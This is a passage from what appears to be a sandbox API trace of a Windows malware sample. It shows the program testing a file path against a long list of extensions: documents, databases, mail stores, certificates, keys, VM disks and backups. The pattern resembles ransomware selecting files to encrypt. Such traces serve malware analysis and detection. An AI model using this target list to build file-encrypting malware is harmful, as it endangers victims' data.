ftLastWriteTime.dwHighDateTime=0x1d305ec, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502618 [0102.842] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0102.855] WriteFile (in: hFile=0x90, lpBuffer=0x4f4b00*, nNumberOfBytesToWrite=0x32d, lpNumberOfBytesWritten=0x406561, lpOverlapped=0x0 | out: lpBuffer=0x4f4b00*, lpNumberOfBytesWritten=0x406561*=0x32d, lpOverlapped=0x0) returned 1 [0102.858] SetFileTime (hFile=0x90, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 1 [0102.859] CloseHandle (hObject=0x90) returned 1 [0102.859] lstrcatA (in: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\", lpString2="Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll" | out: lpString1="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll") returned="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll" [0102.859] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.ems") returned 0 [0102.859] lstrlenA (lpString="*.ems") returned 5 [0102.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.db") returned 0 [0102.860] lstrlenA (lpString="*.db") returned 4 [0102.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.dbf") returned 0 [0102.860] lstrlenA (lpString="*.dbf") returned 5 [0102.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.myox") returned 0 [0102.860] lstrlenA (lpString="*.myox") returned 6 [0102.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.myo") returned 0 [0102.860] lstrlenA (lpString="*.myo") returned 5 [0102.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbw") returned 0 [0102.860] lstrlenA (lpString="*.qbw") returned 5 [0102.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbb") returned 0 [0102.860] lstrlenA (lpString="*.qbb") returned 5 [0102.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbm") returned 0 [0102.860] lstrlenA (lpString="*.qbm") returned 5 [0102.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbo") returned 0 [0102.860] lstrlenA (lpString="*.qbo") returned 5 [0102.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbx") returned 0 [0102.860] lstrlenA (lpString="*.qbx") returned 5 [0102.860] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qba") returned 0 [0102.860] lstrlenA (lpString="*.qba") returned 5 [0102.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qby") returned 0 [0102.861] lstrlenA (lpString="*.qby") returned 5 [0102.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qbj") returned 0 [0102.861] lstrlenA (lpString="*.qbj") returned 5 [0102.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.ofx") returned 0 [0102.861] lstrlenA (lpString="*.ofx") returned 5 [0102.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.qif") returned 0 [0102.861] lstrlenA (lpString="*.qif") returned 5 [0102.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mye") returned 0 [0102.861] lstrlenA (lpString="*.mye") returned 5 [0102.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mbox") returned 0 [0102.861] lstrlenA (lpString="*.mbox") returned 6 [0102.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0102.861] lstrlenA (lpString="*.eml") returned 5 [0102.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.pst") returned 0 [0102.861] lstrlenA (lpString="*.pst") returned 5 [0102.861] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.ost") returned 0 [0102.861] lstrlenA (lpString="*.ost") returned 5 [0102.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.idx") returned 0 [0102.862] lstrlenA (lpString="*.idx") returned 5 [0102.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.dbx") returned 0 [0102.862] lstrlenA (lpString="*.dbx") returned 5 [0102.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.sql") returned 0 [0102.862] lstrlenA (lpString="*.sql") returned 5 [0102.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mdb") returned 0 [0102.862] lstrlenA (lpString="*.mdb") returned 5 [0102.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.fdb") returned 0 [0102.862] lstrlenA (lpString="*.fdb") returned 5 [0102.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.wab") returned 0 [0102.862] lstrlenA (lpString="*.wab") returned 5 [0102.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.dat") returned 0 [0102.862] lstrlenA (lpString="*.dat") returned 5 [0102.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.txt") returned 0 [0102.862] lstrlenA (lpString="*.txt") returned 5 [0102.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.jpeg") returned 0 [0102.862] lstrlenA (lpString="*.jpeg") returned 6 [0102.862] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.jpg") returned 0 [0102.862] lstrlenA (lpString="*.jpg") returned 5 [0102.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.png") returned 0 [0102.863] lstrlenA (lpString="*.png") returned 5 [0102.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.php") returned 0 [0102.863] lstrlenA (lpString="*.php") returned 5 [0102.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.cs") returned 0 [0102.863] lstrlenA (lpString="*.cs") returned 4 [0102.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.cpp") returned 0 [0102.863] lstrlenA (lpString="*.cpp") returned 5 [0102.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.rar") returned 0 [0102.863] lstrlenA (lpString="*.rar") returned 5 [0102.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.zip") returned 0 [0102.863] lstrlenA (lpString="*.zip") returned 5 [0102.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.html") returned 0 [0102.863] lstrlenA (lpString="*.html") returned 6 [0102.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.htm") returned 0 [0102.863] lstrlenA (lpString="*.htm") returned 5 [0102.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsx") returned 0 [0102.863] lstrlenA (lpString="*.xlsx") returned 6 [0102.863] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.xls") returned 0 [0102.864] lstrlenA (lpString="*.xls") returned 5 [0102.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mp4") returned 0 [0102.864] lstrlenA (lpString="*.mp4") returned 5 [0102.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.ppt") returned 0 [0102.864] lstrlenA (lpString="*.ppt") returned 5 [0102.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.pptx") returned 0 [0102.864] lstrlenA (lpString="*.pptx") returned 6 [0102.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.doc") returned 0 [0102.864] lstrlenA (lpString="*.doc") returned 5 [0102.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.dot") returned 0 [0102.864] lstrlenA (lpString="*.dot") returned 5 [0102.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.docx") returned 0 [0102.864] lstrlenA (lpString="*.docx") returned 6 [0102.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.7z") returned 0 [0102.864] lstrlenA (lpString="*.7z") returned 4 [0102.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.tar") returned 0 [0102.864] lstrlenA (lpString="*.tar") returned 5 [0102.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.bz2") returned 0 [0102.864] lstrlenA (lpString="*.bz2") returned 5 [0102.864] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.gz") returned 0 [0102.864] lstrlenA (lpString="*.gz") returned 4 [0102.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mkv") returned 0 [0102.865] lstrlenA (lpString="*.mkv") returned 5 [0102.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.eml") returned 0 [0102.865] lstrlenA (lpString="*.eml") returned 5 [0102.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.msg") returned 0 [0102.865] lstrlenA (lpString="*.msg") returned 5 [0102.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.edb") returned 0 [0102.865] lstrlenA (lpString="*.edb") returned 5 [0102.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.accdb") returned 0 [0102.865] lstrlenA (lpString="*.accdb") returned 7 [0102.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.odb") returned 0 [0102.865] lstrlenA (lpString="*.odb") returned 5 [0102.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.java") returned 0 [0102.865] lstrlenA (lpString="*.java") returned 6 [0102.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.asm") returned 0 [0102.865] lstrlenA (lpString="*.asm") returned 5 [0102.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.pfx") returned 0 [0102.865] lstrlenA (lpString="*.pfx") returned 5 [0102.865] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.pem") returned 0 [0102.866] lstrlenA (lpString="*.pem") returned 5 [0102.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.p12") returned 0 [0102.866] lstrlenA (lpString="*.p12") returned 5 [0102.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.gpg") returned 0 [0102.866] lstrlenA (lpString="*.gpg") returned 5 [0102.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.vsd") returned 0 [0102.866] lstrlenA (lpString="*.vsd") returned 5 [0102.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.odg") returned 0 [0102.866] lstrlenA (lpString="*.odg") returned 5 [0102.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.raw") returned 0 [0102.866] lstrlenA (lpString="*.raw") returned 5 [0102.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.nef") returned 0 [0102.866] lstrlenA (lpString="*.nef") returned 5 [0102.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.svg") returned 0 [0102.866] lstrlenA (lpString="*.svg") returned 5 [0102.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.psd") returned 0 [0102.866] lstrlenA (lpString="*.psd") returned 5 [0102.866] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.vmx") returned 0 [0102.866] lstrlenA (lpString="*.vmx") returned 5 [0102.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.vmdk") returned 0 [0102.867] lstrlenA (lpString="*.vmdk") returned 6 [0102.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.vdi") returned 0 [0102.867] lstrlenA (lpString="*.vdi") returned 5 [0102.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.lay6") returned 0 [0102.867] lstrlenA (lpString="*.lay6") returned 6 [0102.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.mpeg") returned 0 [0102.867] lstrlenA (lpString="*.mpeg") returned 6 [0102.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.djvu") returned 0 [0102.867] lstrlenA (lpString="*.djvu") returned 6 [0102.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.tiff") returned 0 [0102.867] lstrlenA (lpString="*.tiff") returned 6 [0102.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.backup") returned 0 [0102.867] lstrlenA (lpString="*.backup") returned 8 [0102.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.pdf") returned 0 [0102.867] lstrlenA (lpString="*.pdf") returned 5 [0102.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.cert") returned 0 [0102.867] lstrlenA (lpString="*.cert") returned 6 [0102.867] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.docm") returned 0 [0102.868] lstrlenA (lpString="*.docm") returned 6 [0102.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.xlsm") returned 0 [0102.868] lstrlenA (lpString="*.xlsm") returned 6 [0102.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.dwg") returned 0 [0102.868] lstrlenA (lpString="*.dwg") returned 5 [0102.868] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\NativeImages_v2.0.50727_32\\Microsoft.VisualStu#\\114f59aac54622dfd018eba53bbaf31e\\Microsoft.VisualStudio.Tools.Office.Word.HostAdapter.v10.0.ni.dll", pszSpec="*.nd") returned 0 [0102.868] lstrlenA (lpString="*.nd") returned 4 [0102.868] PathMatchSpecA 